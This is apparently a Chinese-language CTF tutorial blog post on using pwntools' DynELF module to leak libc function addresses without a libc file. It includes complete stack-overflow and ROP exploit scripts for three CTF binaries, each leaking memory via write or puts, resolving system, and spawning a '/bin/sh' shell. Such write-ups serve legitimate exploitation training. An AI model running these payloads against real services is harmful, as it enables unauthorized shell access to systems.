DynELF实现无libc.so泄露函数地址

DynELF简介

在做漏洞利用的时候,由于ASLR的影响,我们在获取某些函数地址的时候,需要一些特殊操作;一种方法是先泄露出libc.so中的某个函数,然后根据函数之间的偏移,计算我们需要的函数地址,但是这种方法局限于我们需要找到和目标服务器上一样的libc.so,而有些特殊情况下往往找不到对应的libc.so文件;另一种方法就是利用如pwntools的DynELF模块,对内存进行搜索,直到得到我们需要的函数。

官方文档给出了下面的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
data = p.read(address, 4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data

# For the sake of this example, let's say that we
# have any of these pointers. One is a pointer into
# the target binary, the other two are pointers into libc
main = 0xfeedf4ce
libc = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None, 'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system') == system

可以看到需要使用者进行的工作主要集中在leak函数的实现上,通过这个函数可以获取到某个地址上最少1byte的数据 ,然后将这个函数作为参数调用d = DynELF(leak,elf),该模块的初始化就完成了,然后就可以使用它提供的函数进行内存搜索,得到我们想要的函数地址。

类DynELF的初始化方法如下:

1
def __init__(self, leak, pointer=None, elf=None, libcdb=True):
  • leak: leak函数,它是一个pwnlib.memleak.MenLeak实例
  • pointer: 一个指向 libc 内任意地址的指针
  • elf: elf 文件
  • libcdb: 是一个作者收集的libc 库,默认启用以加快搜索

使用条件:

1) 目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间

2) 目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息(同样我们实现的leak函数要能够被循环调用)

DynELF 实例

在 libc 中,通常使用writeputsprintf函数来打印指定内存的数据

这三个函数中最佳选择当然是write了,因为打印的字节个数全部由write的第三个参数 size 决定,唯一的缺点就是需要传递3个参数,32位程序通过栈传递方便很多,但是64位通过寄存器就麻烦了不少。

这里以xdctf15-pwn200为例

xdctf15-pwn200

32位程序,使用write进行打印注释都在脚本上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#coding:utf-8
from pwn import *

local = 1
DEBUG = 0
if DEBUG:
context.log_level = 'debug'

if local:
p = process('./xdctf15-pwn200')
elf = ELF('./xdctf15-pwn200')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

start = 0x080483D0
vunl_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
binsh_addr = elf.bss()

def leak(addr):
pay = 0x70*'a' + p32(write_plt)
pay += p32(vunl_addr)
pay += p32(1) + p32(addr) + p32(4)
sd(pay)
data = rc(4)
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data
'''
# 有elf文件 的情况
print p.recvline()
d = DynELF(leak,elf = ELF('./xdctf15-pwn200'))
system = d.lookup('system','libc')
show("system_addr",system)

# 调用 start 函数恢复栈
pay = 0x70*'a' + p32(start)
sd(pay)
p.recv()

ppp_ret = 0x080485cd
pay = 0x70*'a' + p32(read_plt)
pay += p32(ppp_ret) + p32(0) + p32(binsh_addr) + p32(8)
pay += p32(system) + p32(0) + p32(binsh_addr)
sd(pay)
sleep(0.1)
sd('/bin/sh\x00')
p.interactive()
'''

# 没有elf文件的情况
print p.recvline()

# 当只能leak一个字节时,也是可以的
# write_addr = ""
# for i in range(4):
# write_addr += leak(elf.got['write'] + i)
'''
write_addr = leak(elf.got['write'])
print hex(u32(write_addr))
'''
d = DynELF(leak,0x8048000)
system = d.lookup('system','libc')
show("system",system)
# 调用 start 函数恢复栈
pay = 0x70*'a' + p32(start)
sd(pay)
p.recv()

ppp_ret = 0x080485cd
pay = 0x70*'a' + p32(read_plt)
pay += p32(ppp_ret) + p32(0) + p32(binsh_addr) + p32(8)
pay += p32(system) + p32(0) + p32(binsh_addr)
sd(pay)
sleep(0.1)
sd('/bin/sh\x00')
p.interactive()

puts函数:使用的参数只有一上,即需要输出数据的起始地址,遇到’\x00’截断,在末尾加上换行符\n,所以puts输出 的数据长度是不容易控制 的,我们无法预料到0截断会在哪里出现;该函数的优点是参数少,在64位程序中很方便使用;缺点就是输出长度不可控,需要在leak函数中做特殊处理;

1、如果puts输出数据后没有接其它字符,我们可以这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def leak(addr):
up = ""
content = ""
log.info("leak --> %s",hex(addr))
# 调用puts并返回到main的payload,长度视程序而定
pay = 0x48*'A' + p64(pop_rdi) + p64(addr)
pay += p64(puts_plt) + p64(main)
pay = pay.ljust(0xc8)
sd(pay)
ru("bye~\n")
while True:
c = p.recv(numb=1,timeout=0.1) #每次接收一个字符,超时时长为0.1秒
if up == '\n' and c == "": # 因为后方没有其它的字符,所以这里判断,上一个字符为\n且,下一个字符为空是数据接收完成
content = content[:-1] + '\x00' #这里把回车替换成'\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

2、puts输出数据后接其它字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def leak(addr):
up = ""
data = ""
# 调用puts并返回到main的payload,长度视程序而定
pay = "a"*0x18 + p64(pppp_ret)
pay += p64(pop_rdi) + p64(addr) + p64(elf.plt['puts'])
pay += p64(main)
sda("RCTF\n",pay)
rc(0x1b)
while True:
c = p.recv(numb=1,timeout=0.1)
if up == "\n" and c == "W": # "W"为后方输出字符的首个字符
data = data[:-1] + '\x00'
break
else:
data += c
up = c
data = data[:8]
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data

lctf16-pwn100

64位程序 ,只有puts函数可以调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#coding:utf-8
from pwn import *

local = 1
DEBUG = 0
if DEBUG:
context.log_level = 'debug'

if local:
p = process('./lctf16-pwn100')
elf = ELF('./lctf16-pwn100')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

puts_plt = elf.plt['puts']
pop_rdi = 0x400763
main = 0x4006B8
start = 0x400550

def leak(addr):
up = ""
content = ""
log.info("leak --> %s",hex(addr))
pay = 0x48*'A' + p64(pop_rdi) + p64(addr)
pay += p64(puts_plt) + p64(main)
pay = pay.ljust(0xc8)
sd(pay)
ru("bye~\n")
while True:
c = p.recv(numb=1,timeout=0.1)
if up == '\n' and c == "":
content = content[:-1] + '\x00' #这里把回车替换成'\x00'
break
else:
content += c
up = c
content = content[:4]
log.info("%#x => %s" % (addr, (content or '').encode('hex')))
return content

d = DynELF(leak,elf = elf)
system = d.lookup("system","libc")
show("system",system)

# read '/bin/sh\x00'
pop_addr = 0x40075A
mov_call = 0x400740
binsh_addr = elf.bss() + 0x100
pay = 0x48*'A' + p64(pop_addr)
pay += p64(0) + p64(1) + p64(elf.got['read']) + p64(8) + p64(binsh_addr) + p64(0)
pay += p64(mov_call)
pay += p64(0)*7
pay += p64(main)
pay = pay.ljust(0xc8)
# gdb.attach(p,"b *0x4006AC")
sd(pay)
sda("bye~\n","/bin/sh\x00")

pay = 0x48*'a' + p64(pop_rdi) + p64(binsh_addr) + p64(system)
pay = pay.ljust(0xc8)
sd(pay)
p.interactive()

RCTF2015-welpwn

64位程序,存在puts和write函数可以调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#coding:utf-8
from pwn import *
import sys

local = 1

if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'


if local:
p = process('./welpwn')
elf = ELF('./welpwn')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

pppp_ret = 0x40089C
pop_rdi = 0x4008a3
ppp_ret = 0x40089e

gad1 = 0x40089A
gad2 = 0x400880
flag = 0
main = 0x4007CD
def show(name,addr):
log.info(name + " --> %s",hex(addr))

'''
gdb.attach(p,"b *0x4007CB")
pay = "a"*0x18 + p64(pppp_ret)
pay += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(main)
sda("RCTF\n",pay)
rc(0x1b)
puts_addr = u64(rc(6).ljust(8,'\x00'))
show("puts_addr",puts_addr)
'''

# 调用 puts 的 leak 写法
def leak(addr):
up = ""
data = ""
pay = "a"*0x18 + p64(pppp_ret)
pay += p64(pop_rdi) + p64(addr) + p64(elf.plt['puts'])
pay += p64(main)
sda("RCTF\n",pay)
rc(0x1b)
while True:
c = p.recv(numb=1,timeout=0.1)
if up == "\n" and c == "W":
data = data[:-1] + '\x00'
break
else:
data += c
up = c
data = data[:8]
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data


# 调用 write 的 leak 写法
def leak(addr):
global flag
up = ""
data = ""
pay = 0x18*'a' + p64(pppp_ret)
pay += p64(gad1)
pay += p64(0) + p64(1) + p64(elf.got['write']) + p64(8) + p64(addr) + p64(1)
pay += p64(gad2) + p64(0)*7
pay += p64(main)
sda("RCTF\n",pay)
if flag:
rc(0x1b)
data = rc(8)
flag += 1
log.info("%#x => %s" % (addr, (data or '').encode('hex')))
return data


d = DynELF(leak,elf = elf)
system = d.lookup('system','libc')
show("system",system)

binsh_addr = elf.bss() + 0x200
pay = 0x18*'a' + p64(pppp_ret)
pay += p64(gad1)
pay += p64(0) + p64(1) + p64(elf.got['read']) + p64(8) + p64(binsh_addr) + p64(0)
pay += p64(gad2) + p64(0)*7
pay += p64(pop_rdi) + p64(binsh_addr)
pay += p64(system)
sda("RCTF\n",pay)
sleep(0.1)
sd('/bin/sh\x00')
p.interactive()
0%